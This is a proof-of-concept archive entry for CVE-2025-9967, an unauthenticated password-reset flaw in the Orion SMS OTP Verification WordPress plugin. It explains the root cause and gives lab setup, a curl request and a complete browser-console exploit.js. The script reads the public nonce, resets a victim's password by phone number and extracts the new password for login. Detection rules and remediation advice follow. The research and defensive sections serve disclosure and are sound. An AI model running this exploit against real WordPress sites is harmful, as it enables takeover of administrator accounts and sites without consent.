PoC Archive PoC Archive
CVE-2025-9967 category: web CVSS 9.8 (CRITICAL)
Unverified

WordPress Orion SMS OTP Verification Unauthenticated Password Reset / Account Takeover (CVE-2025-9967)

Published: 2026-11-27 • Researcher: jFriedli

Target software Orion SMS OTP Verification plugin for WordPress
Affected versions All versions up to and including 1.1.7; Wordfence lists 2.0.0 as the patched release
Status PoC
Severity Critical · CVSS 9.8
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-03-23
Author / ResearcherjFriedli
CVE / AdvisoryCVE-2025-9967
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD)
StatusPoC
Tagswordpress, plugin, account-takeover, privilege-escalation, otp, unauthenticated, cwe-288, php, ajax
RelatedN/A

Affected Target

FieldValue
Software / SystemOrion SMS OTP Verification plugin for WordPress
Versions AffectedAll versions up to and including 1.1.7; Wordfence lists 2.0.0 as the patched release
Language / PlatformPHP WordPress plugin, targeted from a browser with JavaScript
Authentication RequiredNo
Network Access RequiredYes (HTTP/HTTPS to the target WordPress site)

Summary

The Orion SMS OTP Verification plugin for WordPress lets an unauthenticated visitor reset an arbitrary user’s password if the visitor knows the user’s phone number. Its AJAX password-reset handler accepts a mobile number and country code without proving that the caller owns that number or is otherwise authorized to act for the account. The handler then generates a six-digit one-time password and returns it in the JSON response, so the attacker can read the new credential and log in as the victim. When the victim is an administrator, the flaw becomes a full WordPress site takeover.

Vulnerability Details

Root Cause

The plugin exposes an unauthenticated admin-ajax.php action named ihs_otp_reset_ajax_hook. The action accepts data[mob] and data[country_code], looks up the matching user, and assigns a new one-time password without first validating that the requester controls that phone number or has completed an OTP challenge for the account. The new password is then placed in the JSON response message (data.msg), so the reset flow hands the credential back to whoever sent the request.

The security nonce used by the request is not a meaningful barrier: it is localized into the public reset_pass_obj object on frontend pages, so any unauthenticated visitor can obtain it. The nonce only demonstrates that the request came from a page served by the site, not that the caller is the account owner.

Attack Vector

An unauthenticated HTTP POST to /wp-admin/admin-ajax.php with the form fields action=ihs_otp_reset_ajax_hook, security=<nonce>, data[mob]=<victim mobile> and data[country_code]=<country code>. The attacker only needs the victim’s phone number and a page view that exposes the nonce and AJAX URL. The browser-console PoC does exactly this and then parses the six-digit password out of the response.

Impact

Account takeover of any WordPress user whose phone number is known, including administrators. Successful takeover allows the attacker to change site content, install or modify plugins and themes (which commonly leads to remote code execution), create additional administrator accounts, exfiltrate user and business data, and persist on the host. The vulnerability is unauthenticated and can be attempted repeatedly, so exposed sites with predictable or enumerable phone metadata are at high risk.

Environment / Lab Setup

Output
OS:          Linux host running WordPress (any standard LAMP/LEMP stack)
Target:      WordPress with Orion SMS OTP Verification <= 1.1.7
Victim:      A WordPress user (preferably an administrator for the escalation demo)
             with a mobile number configured so the reset lookup succeeds
Attacker:    Browser with developer tools open on the target origin
Tools:       Browser console, optional curl/Burp Suite for request inspection

Setup Steps

  1. Install WordPress on a disposable host and install the Orion SMS OTP Verification plugin at version 1.1.7.
  2. Create a test user named victim and configure a mobile number in the plugin’s user profile / user meta so the reset lookup matches.
  3. Log out, open a public frontend page, and confirm that reset_pass_obj is present (the plugin localizes the AJAX nonce and URL into it).
  4. Open the browser developer tools console while remaining on the target origin.

Proof of Concept

Step-by-Step Reproduction

  1. Identify the victim number — Determine the victim’s mobile number and country code. The plugin compares the submitted values against stored user meta, so they must match the victim’s record.

  2. Confirm the nonce source — Load a public page that includes the plugin’s reset-password script and check that window.reset_pass_obj exists:

    JavaScript
    1
    2
    
    window.reset_pass_obj
    // { ajax_nonce: "...", ajax_url: "https://target/wp-admin/admin-ajax.php" }
    
  3. Set the target values — Edit mob and cc in exploit.js:

    JavaScript
    1
    2
    
    const mob = '5551234'; // without country code
    const cc  = '1';       // country code (no '+')
    
  4. Run the PoC — Paste the contents of exploit.js into the browser console while on the target origin, or send the equivalent request manually:

    Shell script
    1
    2
    3
    4
    5
    
    curl -s -X POST 'https://target/wp-admin/admin-ajax.php' \
      --data-urlencode 'action=ihs_otp_reset_ajax_hook' \
      --data-urlencode 'security=<nonce>' \
      --data-urlencode 'data[mob]=5551234' \
      --data-urlencode 'data[country_code]=1'
  5. Recover the new password — The response message contains the six-digit one-time password. The PoC extracts it automatically and prints the login URL, username and password.

  6. Log in as the victim — Use the recovered password at /wp-login.php. If the victim is an administrator, the attacker now has full administrative access.

Exploit Code

See exploit.js in this folder. It is the browser-console PoC from the upstream README, copied verbatim apart from an added archive header. The upstream README is preserved as upstream-README.md.

JavaScript
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
const form = new URLSearchParams();
form.set('action', 'ihs_otp_reset_ajax_hook');
form.set('security', nonce);          // exposed in public reset_pass_obj
form.set('data[mob]', mob);           // victim mobile, no country code
form.set('data[country_code]', cc);   // victim country code, no '+'

const res = await fetch(ajaxUrl, { method: 'POST', body: form });
const j = await res.json();
const pass = (j?.data?.msg || '').match(/\b\d{6}\b/)?.[0];
console.log('New password:', pass);

Expected Output

Output
Raw response: {"success":true,"data":{"api":"...","msg":"... 123456 ..."}}
{
  success: true,
  api: '...',
  full_msg: '... 123456 ...',
  new_password: '123456'
}
Login: http://localhost/wordpress/wp-login.php
Username: victim
Password: 123456

The exact message wording depends on the plugin version and site configuration. The important indicators are a successful JSON response and a six-digit value inside data.msg.

Detection & Indicators of Compromise

Output
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

action=ihs_otp_reset_ajax_hook&security=<nonce>
&data%5Bmob%5D=5551234&data%5Bcountry_code%5D=1
  • JSON responses to admin-ajax.php that contain a six-digit value in data.msg for the ihs_otp_reset_ajax_hook action.
  • Password-change events for users who did not initiate a reset, especially administrators, and user_pass updates with no matching authenticated session.
  • Repeated or sequential data[mob] values from the same source IP, consistent with phone-number enumeration.
  • Frontend page fetches followed immediately by an admin-ajax.php reset request from the same client.

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2025-9967 Orion SMS OTP unauthenticated password reset"; flow:to_server,established; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=ihs_otp_reset_ajax_hook"; http_client_body; content:"data%5Bmob%5D"; http_client_body; reference:cve,2025-9967; sid:9000996;)

WordPress does not log password changes by default, so pair this rule with an audit plugin or database trigger that records user_pass changes and the associated request context.

Remediation

ActionDetail
PatchUpdate the Orion SMS OTP Verification plugin to 2.0.0 or later, the release Wordfence identifies as patched. Verify the installed version and remove any older copy.
WorkaroundIf the plugin cannot be updated immediately, deactivate it. Alternatively block unauthenticated requests to the ihs_otp_reset_ajax_hook action at the WAF or reverse proxy and remove public exposure of the reset flow.
Config HardeningRequire a completed OTP challenge before any password change, enforce two-factor authentication for administrators, restrict admin-ajax.php where feasible, rotate credentials and review administrator accounts after suspected exploitation, and monitor password-reset events.

References

Notes

Verdict: ingested. The upstream repository is a single README, but that README contains a complete, specific browser-console exploit rather than analysis only: it obtains the plugin’s public nonce, submits the vulnerable ihs_otp_reset_ajax_hook action with the victim’s mobile number, parses the returned six-digit password, and logs in. It is a genuine non-malicious research PoC, not a scanner, checker, template or malware module. Following the archive precedent used for pocs/misc/2026-07-05_cve-2026-23947-orval-codegen-rce, the code block was reconstructed verbatim as exploit.js so the entry contains a runnable artifact; only a disclaimer header was added, and the original README is preserved verbatim as upstream-README.md.

License: the upstream repository has no LICENSE file, so copyright remains with jFriedli. Attribution and the source URL are retained here and in the reconstructed file’s header.

Limitations: the attack requires the victim’s mobile number and country code and a public page that exposes reset_pass_obj; the fallback fetch and login URL in the PoC are hardcoded to a local WordPress installation and must be adjusted for a real target. The script is browser-console JavaScript, not a standalone CLI, and it relies on the plugin returning the new password in data.msg. No exploit was executed against a live target while preparing this entry, so the Status is PoC rather than Weaponized. The NVD record does not state a fixed version; 2.0.0 comes from the Wordfence advisory. CWE-288 (Authentication Bypass Using an Alternate Path or Channel) is used per the CVE record. Plugin internals were not independently source-audited; the root-cause description is based on the CVE text and the PoC’s request flow.

exploit.js
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
// CVE-2025-9967 - Orion SMS OTP Verification unauthenticated password reset
// Archive mirror of the browser-console PoC published in the upstream README
// (https://github.com/jFriedli/CVE-2025-9967). The JavaScript below is copied
// verbatim from that README; only this header was added.
//
// For authorized security testing and defensive research only. Do not run
// against systems you do not own or have written permission to test.

(async () => {
  async function getNonceAndAjaxUrl() {
    if (window.reset_pass_obj) {
      return { nonce: reset_pass_obj.ajax_nonce, ajaxUrl: reset_pass_obj.ajax_url };
    }

    const home = await fetch('http://localhost/wordpress/').then(r => r.text());
    const m = home.match(/reset_pass_obj\s*=\s*\{[^}]*"ajax_nonce":"([^"]+)"[^}]*"ajax_url":"([^"]+)"/);

    if (!m) {
      throw new Error('Could not find reset_pass_obj; open a frontend page and try again.');
    }

    const nonce = m[1].replace(/\\u002D/g, '-');
    const ajaxUrl = m[2].replace(/\\\//g, '/');

    return { nonce, ajaxUrl };
  }

  const { nonce, ajaxUrl } = await getNonceAndAjaxUrl();

  // Target victim phone (must match stored user meta)
  const mob = '5551234'; // without country code
  const cc  = '1';       // country code (no '+')

  const form = new URLSearchParams();
  form.set('action', 'ihs_otp_reset_ajax_hook');
  form.set('security', nonce);
  form.set('data[mob]', mob);
  form.set('data[country_code]', cc);

  const res = await fetch(ajaxUrl, {
    method: 'POST',
    headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
    body: form
  });

  const text = await res.text();
  console.log('Raw response:', text);

  let j;
  try {
    j = JSON.parse(text);
  } catch {
    throw new Error('Server did not return valid JSON');
  }

  const msg  = j?.data?.msg || '';
  const pass = (msg.match(/\b\d{6}\b/) || [])[0];

  console.log({
    success: j?.success,
    api: j?.data?.api,
    full_msg: msg,
    new_password: pass
  });

  if (pass) {
    console.log('Login:', 'http://localhost/wordpress/wp-login.php');
    console.log('Username: victim');
    console.log('Password:', pass);
  } else {
    console.warn('Password not found in response');
  }
})();